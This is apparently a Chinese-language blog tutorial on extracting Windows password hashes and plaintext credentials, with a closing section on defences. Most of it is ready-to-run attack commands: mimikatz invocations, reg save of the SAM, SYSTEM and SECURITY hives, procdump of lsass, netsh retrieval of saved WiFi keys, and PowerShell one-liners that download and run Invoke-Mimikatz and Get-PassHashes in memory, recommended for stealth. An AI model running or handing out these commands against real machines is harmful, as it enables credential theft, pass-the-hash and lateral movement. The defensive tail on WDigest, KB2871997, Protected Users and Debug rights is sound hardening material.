0x00 前言

Windows 系统一般使用两种方法对用户的密码进行加密处理,在域环境中,用户的密码信息以哈希值的密文形式存储在 ntds.dit 二进制文件中,该文件位于 %SystemRoot%\ntds\ntds.dit 路径下,由于该文件一直被活动目录访问,因此这个文件是被系统禁止读取的。

要想在windows操作系统中抓取散列值或者明文密码,必须将提权提升到SYSTEM。本地用户名、散列值和其他安全验证的信息都保存在SAM文件中。lsass.exe进程用于实现windows的安全策(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。

0x01 GetPass

GetPass 下载地址:https://bbs.pediy.com/thread-163383.htm

以管理员权限直接运行 GetPassword.exe 直接查看到明文密码

image-20221115040043144

0x02 PwDump7

PwDump7 下载地址:https://www.tarasco.org/security/pwdump_7/

PwDump7 只能获取到用户的 hash,不能看到明文密码,不过可以使用这个 hash 值去 cmd5 等平台查找明文或者直接用哈希传递。

PwDump7 同样使用管理员权限直接运行即可

image-20221115042313237

0x03 QuarkPwDump

QuarkPwDump 下载地址:https://raw.githubusercontent.com/tuthimi/quarkspwdump/master/Release/QuarksPwDump.exe

1
QuarkPwDump.exe --dump-hash-local
image-20221115042554042

0x04 Get-PassHashes

Get-PassHashes 是一个 PS 脚本,Get-PassHashes 下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1

导入 ps1 脚本,以管理员权限执行 Get-PassHashes 即可。

1
2
Import-Module .\Get-PassHashes.ps1
Get-PassHashes

或者绕过无法执行 PS 脚本的限制,直接无文件执行(推荐),同样需要管理员权限。

1
2
3
4
5
6

# 不使用代理
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"

# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"
image-20221115043151916

0x05 mimikatz

mimikatz 是法国技术大神 Benjamin Delpy 使用 C 语言写的一款轻量级系统调试工具,该工具可以从内存中提取明文密码、散列值、PIN 和 K8S 票据,还可以执行哈希传递、票据传递、构建黄金票据等。

mimikatz 项目 releases 地址:https://github.com/gentilkiwi/mimikatz/releases

使用 mimikatz 读取本地 SAM 文件,获取 NTLM Hash

1
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
image-20221115043516299

或者使用 mimikatz 直接查看明文密码

1
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
image-20221115043720193

另外也可以采用 PowerShell 远程加载 mimikatz,相较于直接拷贝 mimikatz.exe 到目标主机,这种方式隐藏性要更好些。

1
2
3
4
5
# 不使用代理
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

0x06 SAM、SYSTEM、SECURITY 文件

导出文件

直接注册表导出 SAM、SYSTEM、SECURITY 文件

1
2
3
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
reg save HKLM\SECURITY security.hive

或者使用 ninjacopy 脚本,下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1

1
2
3
4
Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "c:\sam.hiv"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SECURITY" -LocalDestination "c:\security.hiv"

如果条件允许也可以使用 U 盘启动盘直接拷贝以下文件

1
2
3
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY

获取 HASH

用 mimikatz 获取

1
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
image-20221115044745515

用 cain 获取,找到 Cracker 里的 LM & NTLM Hash,点击加号,选择从 SAM 导入,选择 SAM 文件后,查看 SYSTEM 文件的 HEX,复制到 Boot Key 里,点击下一步即可查看。

image-20221115052845813

cain 还可以直接查看明文密码,在 Decoders 里找到 LSA Secrets,导入 system.hiv 和 security.hiv 就可以看到明文的密码了。

image-20221115053202056

0x07 lsass.dmp 文件

导出文件

任务管理器导出 lsass.dmp 文件,在任务管理器中找到 lsass.exe 右击选择创建转储文件即可。

或者使用 Procdump 导出 lsass.dmp 文件,Procdump 是微软官方发布的工具,因此基本不会被杀软拦截,下载地址:https://download.sysinternals.com/files/Procdump.zip

1
procdump.exe -accepteula -ma lsass.exe lsass.DMP
image-20221115054516516

获取 HASH

使用 mimikatz 可获取 lsass.dmp 文件里的 hash 以及明文密码值

1
2
3
mimikatz.exe
sekurlsa::minidump lsass.DMP
sekurlsa::logonPasswords full
image-20221115055240158 image-20221115055330333

0x08 ntds.dit

这部分参考我之前写过的博客:ntds.dit 的提取与散列值导出。已经写的很详细了

0x09 WIFI 密码

使用自带命令可直接查询

1
2
3
4
5
6
7
8
# 获取登录过的 WIFI 名称
netsh wlan show profiles

# 获取某个连接过的 WIFI 密码
netsh wlan show profile name="901" key=clear

# 获取所有连接过的 WIFI 密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
image-20221115060003062

0x10 密码抓取的防范方式

1、微软为了防止用户密码在内存中以明文的形式泄漏,发布了布丁KB2871997,关闭了Wdigest功能。

Windows server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。

Windows server 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。

KB2871997补丁是微软为了解决PsExec远程查看(c$)问题的补丁,能使本地账号不再被允许远程接入计算机系统,但是系统默认的本地管理员账号administrator这个SID为500的用户例外——即使将Administrator改名,该账号的SID还是500,攻击者仍然可以使用横向攻击方法获得内网中其他机器的控制权。安装28711997后,仍需要禁用默认的Administrator账号,以防御哈希传递攻击

2、在日常的网络维护中,通过查看注册表项Wdigest,可以判断Wdigest功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应确保该项的值为0,使用户的明文密码不会出现在内存中。

命令行环境中开启或关闭Wdigest Auth,有如下两种方法。

1)reg add 命令

开启Wdigest Auth

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

关闭Wdigest Auth

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

(2)使用powershell

开启Wdigest Auth

1
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

关闭Wdigest Auth

1
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0

3、设置Active Directory 2012 R2功能级别

win server 2012 R2新增了一个“受保护的用户”的用户组(Protected Users),只要将需要保护的用户加入该组,攻击者就无法通过mimikatz等工具抓取明文密码和散列值了

4、防御mimikatz攻击

根据Debug权限确定哪些用户可以将调试器附加到任何进程或内核中。在默认情况下,此权限为本地管理员Administrator所有,除了老系统,本地管理员几乎不需要使用此权限。

mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需要和lsass.exe进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程)。因此,我们可以针对这一点采取进行防御措施。将拥有Debug权限的本地管理员从Administrators组中移除。重启系统后将无法再使用mimikatz进行抓取散列值和明文密码了。

image-20221115064445256